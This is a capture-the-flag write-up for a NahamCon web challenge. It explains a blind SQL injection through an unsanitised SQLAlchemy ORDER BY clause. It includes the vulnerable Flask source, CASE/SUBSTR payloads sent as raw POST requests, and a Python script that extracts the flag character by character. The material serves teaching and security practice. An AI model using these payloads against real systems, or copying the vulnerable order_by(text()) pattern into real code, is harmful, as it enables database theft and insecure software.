Tags: sqli web sqlinjection blindsqli 

Rating:

Flaskmetal Alchemist

Category: Web

This site is a tool that lets you filter elements.

<img src="site.png" width="50%">

The source was provided:

database.py

from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy.ext.declarative import declarative_base

engine = create_engine("sqlite:////tmp/test.db")
db_session = scoped_session(
    sessionmaker(autocommit=False, autoflush=False, bind=engine)
)
Base = declarative_base()
Base.query = db_session.query_property()


def init_db():
    Base.metadata.create_all(bind=engine)

The takeaway here is that we are dealing with a sqlite database.

models.py

from database import Base
from sqlalchemy import Column, Integer, String


class Metal(Base):
    __tablename__ = "metals"
    atomic_number = Column(Integer, primary_key=True)
    symbol = Column(String(3), unique=True, nullable=False)
    name = Column(String(40), unique=True, nullable=False)

    def __init__(self, atomic_number=None, symbol=None, name=None):
        self.atomic_number = atomic_number
        self.symbol = symbol
        self.name = name


class Flag(Base):
    __tablename__ = "flag"
    flag = Column(String(40), primary_key=True)

    def __init__(self, flag=None):
        self.flag = flag

Here we see that we have a metals table with a column for atomic_number, symbol, and name, and a flag table with a column for a flag value.

app.py

from flask import Flask, render_template, request, url_for, redirect
from models import Metal
from database import db_session, init_db
from seed import seed_db
from sqlalchemy import text

app = Flask(__name__)
app.config["TEMPLATES_AUTO_RELOAD"] = True
app.config['TESTING'] = True

@app.teardown_appcontext
def shutdown_session(exception=None):
    db_session.remove()


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        search = ""
        order = None
        if "search" in request.form:
            search = request.form["search"]
        if "order" in request.form:
            order = request.form["order"]
        if order is None:
            metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
        else:
            metals = Metal.query.filter(
                Metal.name.like("%{}%".format(search))
            ).order_by(text(order))
        return render_template("home.html", metals=metals)
    else:
        metals = Metal.query.all()
        return render_template("home.html", metals=metals)


if __name__ == "__main__":
    seed_db()
    app.run(debug=True)

The part to focus on is the query that executes when sending your parameters in a POST operation:

metals = Metal.query.filter(
    Metal.name.like("%{}%".format(search))
).order_by(text(order))

The like function is protected against injection, but the order_by is not. The query will expand to look like:

SELECT metals.atomic_number AS metals_atomic_number, metals.symbol AS metals_symbol, metals.name AS metals_name
FROM metals
WHERE metals.name LIKE ? ORDER BY <Injection Point>

We can perform a blind SQL injection by changing the sort order if a condition is met. Let's craft a SQL payload for the ORDER BY to test this with the first character of the flag. (We know the flag format is flag{...}, which means we can test with f.) If this works, we will be able to extract the entire flag one character at a time.

CASE
WHEN (SELECT SUBSTR(flag,1,1) FROM flag)='f'
  THEN atomic_number 
ELSE 
  symbol 
END

Sent as a POST:

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

search=&order=CASE+WHEN+(SELECT+SUBSTR(flag,1,1)+FROM+flag)='f'+THEN+atomic_number+ELSE+symbol+END
...
<tr>
    <td style="width:20%">3</td>
    <td style="width:10%">Li</td>
    <td>Lithium</td>
</tr>

<tr>
    <td style="width:20%">4</td>
    <td style="width:10%">Be</td>
    <td>Beryllium</td>
</tr>

<tr>
    <td style="width:20%">11</td>
    <td style="width:10%">Na</td>
    <td>Sodium</td>
</tr>
...

The data was sorted by the atomic number, as we expected. We can test with an incorrect character at the same index to confirm that this exploit will work:

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

search=&order=CASE+WHEN+(SELECT+SUBSTR(flag,1,1)+FROM+flag)='Z'+THEN+atomic_number+ELSE+symbol+END
...
<tr>
    <td style="width:20%">89</td>
    <td style="width:10%">Ac</td>
    <td>Actinium</td>
</tr>

<tr>
    <td style="width:20%">47</td>
    <td style="width:10%">Ag</td>
    <td>Silver</td>
</tr>

<tr>
    <td style="width:20%">13</td>
    <td style="width:10%">Al</td>
    <td>Aluminum</td>
</tr>
...

This time, the sort was by the symbol, which proves our injection worked properly. The next thing to do is to write a script to pull all the flag characters:

#!/usr/bin/env python3

from requests import post
from string import ascii_lowercase

URL = 'http://challenge.nahamcon.com:30702'
ALPHABET = ascii_lowercase + '{}_'
INJECTION = "CASE WHEN (SELECT SUBSTR(flag,{},1) FROM flag)='{}' THEN atomic_number ELSE symbol END"

flag = ''
index = 1
while True:
    for char in ALPHABET:
        response = post(URL, data={ 'search': '', 'order': INJECTION.format(index, char) })
        # The first atomic symbol appears on index 74 of the response (split by newlines).
        # If that is Li (which has an atomic number of 3), then we sorted by atomic number.
        first_atomic_symbol = response.text.split('\n')[74]
        if 'Li' in first_atomic_symbol:
            flag += char
            index += 1
            break
    print(flag)
    if flag[-1] == '}':
        break
$ ./exploit.py
f
fl
fla
flag
flag{
flag{o
flag{or
flag{ord
flag{orde
flag{order
flag{order_
flag{order_b
flag{order_by
flag{order_by_
flag{order_by_b
flag{order_by_bl
flag{order_by_bli
flag{order_by_blin
flag{order_by_blind
flag{order_by_blind}
Original writeup (https://github.com/ryan-cd/ctf/tree/master/2022/nahamcon/web/flaskmetal_alchemist).